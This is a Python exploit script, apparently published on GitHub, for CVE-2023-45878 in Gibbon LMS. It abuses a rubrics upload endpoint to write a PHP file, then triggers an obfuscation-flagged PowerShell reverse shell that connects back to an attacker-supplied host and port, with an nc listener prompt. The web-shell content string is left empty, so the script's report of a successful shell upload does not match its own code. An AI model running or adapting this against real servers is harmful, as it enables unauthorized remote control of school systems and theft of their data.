# Written for CVE-2023-45878. # Inspired by PoC found at: https://herolab.usd.de/security-advisories/usd-2023-0025/ # Author: @dgoorden # Github: https://github.com/dgoorden/ import requests import argparse import base64 from urllib.parse import urlparse, quote_plus # ANSI Escape Codes for Color GREEN = "\033[92m" YELLOW = "\033[93m" RED = "\033[91m" RESET = "\033[0m" # Argument Parser Setup parser = argparse.ArgumentParser(description="Exploit Script for CVE-2023-45878") parser.add_argument("-l", "--lhost", required=True, help="Local host (attacker's IP)") parser.add_argument("-p", "--lport", required=True, type=int, help="Local port (attacker's port)") parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target.com/Gibbon-LMS)") parser.add_argument("-f", "--filename", required=False, help="Filename but without any extension", default="asdf") args = parser.parse_args() lhost = args.lhost lport = args.lport url = args.url.rstrip("/") # Ensure URL doesn't have a trailing slash parsed_url = urlparse(url) host = parsed_url.netloc # Extract host from user-provided URL # Define payload file location img_payload_filename = args.filename uploaded_file_url = f"{url}/{img_payload_filename}.php" payload1 = "" img_payload_content = base64.b64encode(payload1.encode()).decode() # PowerShell Reverse Shell Payload (from revshells.com, Powershell #3) # If using a different payload, insert between the """ """ strings. powershell_payload = """powershell -nop -W hidden -noni -ep bypass -c "$TCPClient=New-Object Net.Sockets.TCPClient('{}',{});$NetworkStream=$TCPClient.GetStream();$StreamWriter=New-Object IO.StreamWriter($NetworkStream);function WriteToStream($String){{[byte[]]$script:Buffer=0..$TCPClient.ReceiveBufferSize|%{{0}};$StreamWriter.Write($String+'SHELL> ');$StreamWriter.Flush();}}WriteToStream '';while(($BytesRead=$NetworkStream.Read($Buffer,0,$Buffer.Length))-gt 0){{$Command=([text.encoding]::UTF8).GetString($Buffer,0,$BytesRead-1);$Output=try{{Invoke-Expression $Command 2>&1|Out-String}}catch{{$_|Out-String}}WriteToStream($Output)}}$StreamWriter.Close();" """.format(lhost, lport) # Encode PowerShell Payload to be URL safe encoded_powershell_payload = quote_plus(powershell_payload) # First Request: Upload the PHP Web Shell endpoint = "/modules/Rubrics/rubrics_visualise_saveAjax.php" full_url = f"{url}{endpoint}" headers = { "Host": host, "Accept-Language": "en-US,en;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive", "Content-Type": "application/x-www-form-urlencoded" } # Upload PHP shell data = { "img": f"image/png;{img_payload_filename},{img_payload_content}", "path": f"{img_payload_filename}.php", "gibbonPersonID": "0000000001" } response = requests.post(full_url, headers=headers, data=data) # Exploit Response print(f"\n{YELLOW}[!] Exploit written for CVE-2023-45878, Gibbon LMS 25.0.1{RESET}\n") print(f"{GREEN}[+] Exploit Sent to:{RESET} {full_url}") print(f"{GREEN}[+] Reverse Shell Target:{RESET} {lhost}:{lport}") print(f"{YELLOW}[!] Make sure you have a listener running: nc -lvnp {RESET}{lport}\n") print(f"{GREEN}[+] HTTP Response Code:{RESET} {response.status_code}") # Check if upload was successful (Basic Check) if response.status_code == 200: print(f"\n{GREEN}[+] PHP Web Shell Uploaded Successfully!{RESET}") print(f"{GREEN}[+] Attempting to trigger reverse shell...{RESET}") # Second Request: Execute the uploaded shell with PowerShell payload execute_shell_url = f"{uploaded_file_url}?cmd={encoded_powershell_payload}" try: execute_response = requests.get(execute_shell_url, headers=headers, timeout=3) print(f"\n{GREEN}[+] Triggering Reverse Shell:{RESET} {execute_shell_url}") if execute_response.status_code == 200: print(f"\n{GREEN}[+] Reverse Shell Uploaded Successfully!{RESET}") print(f"{YELLOW}[!] Check your listener. If the shell fails, check upload manually at:{RESET} {uploaded_file_url}") print(f"{YELLOW}[!] such as,{RESET} {uploaded_file_url}?cmd=whoami") else: print(f"\n{RED}[-] Upload failed. The target might not be vulnerable.{RESET}") except requests.exceptions.Timeout: # If timeout occurs, assume payload executed and reverse shell is open print(f"\n{GREEN}[+] Payload delivered. Check your listener.{RESET}") print(f"{YELLOW}[!] If no connection, verify manually:{RESET} {uploaded_file_url}?cmd=whoami") except requests.exceptions.RequestException as e: # Catch any other request errors print(f"\n{RED}[-] Request failed:{RESET} {str(e)}") else: print(f"\n{RED}[-] Failure. Check input and/or the target.{RESET}")